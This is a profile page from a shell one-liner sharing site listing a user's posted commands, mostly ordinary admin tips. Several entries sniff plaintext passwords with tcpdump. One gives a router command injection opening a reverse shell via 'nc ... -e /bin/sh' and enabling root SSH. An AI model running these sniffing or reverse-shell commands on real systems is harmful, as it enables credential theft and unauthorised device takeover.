Commands by wuseman1

Commands by wuseman1 (91)

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Network Discover in a one liner
This is sample output - yours may be different.
5

nmap -sn 192.168.1.0/24 -oG - | awk '$4=="Status:" && $5=="Up" {print $0}'|column -t

wuseman1 · 2019-04-19 17:12:00 38
Show your current network interface in use
This is sample output - yours may be different.
2

route | grep -m1 ^default | awk '{print $NF}'

wuseman1 · 2019-04-19 17:03:49 34
Create a file and manipulate the date
This is sample output - yours may be different.
6

touch -d '-1 year' /tmp/oldfile

wuseman1 · 2019-04-19 17:01:16 43
To create files with specific permission:
This is sample output - yours may be different.
4

install -b -m 777 /dev/null file.txt

wuseman1 · 2019-04-13 02:52:35 40
Find wich ports you probably want to open in your firewall on a fresh installed machine
This is sample output - yours may be different.
3

lsof -i -nlP | awk '{print $9, $8, $1}' | sed 's/.*://' | sort -u

wuseman1 · 2019-03-02 10:09:34 35
Instead of saying RTFM!
This is sample output - yours may be different.
5

echo "[q]sa[ln0=aln256%Pln256/snlbx]sb729901041524823122snlbxq"|dc

wuseman1 · 2019-03-02 10:00:53 57
!* Tells that you want all of the *arguments* from the previous command to be repeated in the current command

Example: touch file{1,2,3}; chmod 777 !*
This is sample output - yours may be different.
9

chmod 777 !*

wuseman1 · 2019-03-01 22:26:38 43
Capture SMTP / POP3 Email
This is sample output - yours may be different.
5

sudo tcpdump -nn -l port 25 | grep -i 'MAIL FROM\|RCPT TO'

wuseman1 · 2019-02-03 05:15:46 465
Extract HTTP Passwords in POST Requests
This is sample output - yours may be different.
2

sudo tcpdump -s 0 -A -n -l | egrep -i "POST /|pwd=|passwd=|password=|Host:"

wuseman1 · 2019-02-03 05:15:28 901
Capture FTP Credentials and Commands
This is sample output - yours may be different.
2

sudo tcpdump -nn -v port ftp or ftp-data

wuseman1 · 2019-02-03 05:14:56 32
Capture all plaintext passwords
This is sample output - yours may be different.
9

sudo tcpdump port http or port ftp or port smtp or port imap or port pop3 or port telnet -l -A | egrep -i -B5 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user '

wuseman1 · 2019-02-03 05:13:58 72
List files size sorted and print total size in a human readable format without sort, awk and other commands.
This is sample output - yours may be different.
1

ls -sSh /path | head

wuseman1 · 2019-01-25 15:10:05 35
List top 100 djs from https://djmag.com/top100djs
This is sample output - yours may be different.
1

lynx -listonly -nonumbers -dump https://djmag.com/top100djs|sed '1d'|cut -d- -f5,6,7|sed -n '180,$p'|nl --number-format=rn --number-width=3|sed 's/-/ /g'|sed -e 's/.*/\L&/' -e 's/\<./\u&/g'

wuseman1 · 2019-01-20 08:23:18 33
Check SSL expiry from commandline
This is sample output - yours may be different.
3

echo | openssl s_client -showcerts -servername google.com -connect gnupg.org:443 2>/dev/null | openssl x509 -inform pem -noout -text

wuseman1 · 2018-12-19 03:55:41 127
Produce 10 copies of the same string
This is sample output - yours may be different.
1

echo boo{,,,,,,,,,,}

wuseman1 · 2018-11-12 18:26:17 645
Sort by IP address
This is sample output - yours may be different.
2

sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4

wuseman1 · 2018-11-12 18:03:34 518
Show OS release incl version.

Show Sample Output
This is sample output - yours may be different.
```
Gentoo Base System release 2.6
```
1

grep -m1 -h [0-9] /etc/{*elease,issue} 2>/dev/null | head -1

wuseman1 · 2018-11-12 18:01:57 660
Print a horizontal line
This is sample output - yours may be different.
3

printf -v _hr "%*s" $(tput cols) && echo ${_hr// /${1--}}

wuseman1 · 2018-11-12 18:01:25 395
Find ASCII files and extract IP addresses
This is sample output - yours may be different.
2

1 find . -type f -exec grep -Iq . {} \; -exec grep -oE "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" {} /dev/null \;

wuseman1 · 2018-11-12 03:43:46 380
Show used disk space:
This is sample output - yours may be different.
1

df -klP -t xfs -t ext2 -t ext3 -t ext4 -t reiserfs | grep -oE ' [0-9]{1,}( +[0-9]{1,})+' | awk '{sum_used += $2} END {printf "%.0f GB\n", sum_used/1024/1024}'

wuseman1 · 2018-11-12 03:34:52 367
Show allocated disk space:
This is sample output - yours may be different.
1

df -klP -t xfs -t ext2 -t ext3 -t ext4 -t reiserfs | grep -oE ' [0-9]{1,}( +[0-9]{1,})+' | awk '{sum_used += $1} END {printf "%.0f GB\n", sum_used/1024/1024}'

wuseman1 · 2018-11-12 03:33:58 329
List all global top level modles, then remove ALL npm packages with xargs
This is sample output - yours may be different.
1

npm ls -gp --depth=0 | awk -F/ '/node_modules/ && !/\/npm$/ {print $NF}' | xargs npm -g rm; npm -g uninstall npm

wuseman1 · 2018-11-12 02:24:24 365
Hacking the Technicolor TG799vac (and unlocking features for openwrt)

Find more info about this hack on my github https://github.com/wuseman/TG799VAC-XTREME-17.2-MINT - Setup a netcat listener 'nc -lvvp 1337' and then from dns field on your technicolor router run the command below and turn dns ON and wait for the magic.. Show Sample Output
This is sample output - yours may be different.
```
https://raw.githubusercontent.com/wuseman/TG799VAC-XTREME-17.2-MINT/master/files/short-version.gif
```
0

::::::;nc 192.168.1.144 1337 -e /bin/sh;rm /etc/dropbear/*;uci set dropbear.lan.PasswordAuth='on';uci set dropbear.lan.RootPasswordAuth='on';uci set dropbear.lan.Interface='lan';uci set dropbear.lan.enable='1';/etc/init.d/dropbear restart; uci commit

wuseman1 · 2018-11-12 02:02:43 340

Print compile time in seconds package by package (Gentoo Distros)

qlist -I | xargs qlop -t |sort -t" " -rnk2

wuseman1 · 2018-11-12 01:50:16 365

Calculate your total world compile time. (Gentoo Distros)

From Gentoo Forum, greetings to rudregues & steveL. Show Sample Output
This is sample output - yours may be different.
```
48h:4m:20s
```
1

qlist -I | xargs qlop -t | awk '{ if ($2 < 5400) secs += $2} END { printf("%dh:%dm:%ds\n", secs / 3600, (secs % 3600) / 60, secs % 60); }'

wuseman1 · 2018-11-12 01:45:37 303
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move up through directories faster (set in your /etc/profile or .bash_profile)

You can also remove the "&& pwd" if you don't want it to print out each directory as it moves up.

list block devices

Shows all block devices in a tree with descruptions of what they are.

sort through source to find most common authors

tcpdump whole packets to file in ascii and hex with ip adresses instead of hostname

add a backup (or any other) suffix to a file

Very helpful when you've got complex filenames and needs to change just some small parts of it. Renaming a file called "i-made-a-small-typo-right-here" to "i-made-a-big-typo-right-here": $ mv -vi i-made-a-{small,big}-typo-right-here You could also copy multiple files, edit, remove, process, etc.

Create Bash script to change modification time of files

Create a bash script to change the modification time for each file in 'files.txt' such that they are in the same order as in 'files.txt' File name for bash script specified by variable, 'scriptName'. It is made an executable once writing into it has been completed.

Google text-to-speech in mp3 format

same but redirecting to player and putting whaever text line.. works on my ubuntu machine ...

Get your IP addresses

Shows the interface and the ip-address

Detect illegal access to kernel space, potentially useful for Meltdown detection

Based on capsule8 agent examples, not rigorously tested

prints the parameter you used on the previous command

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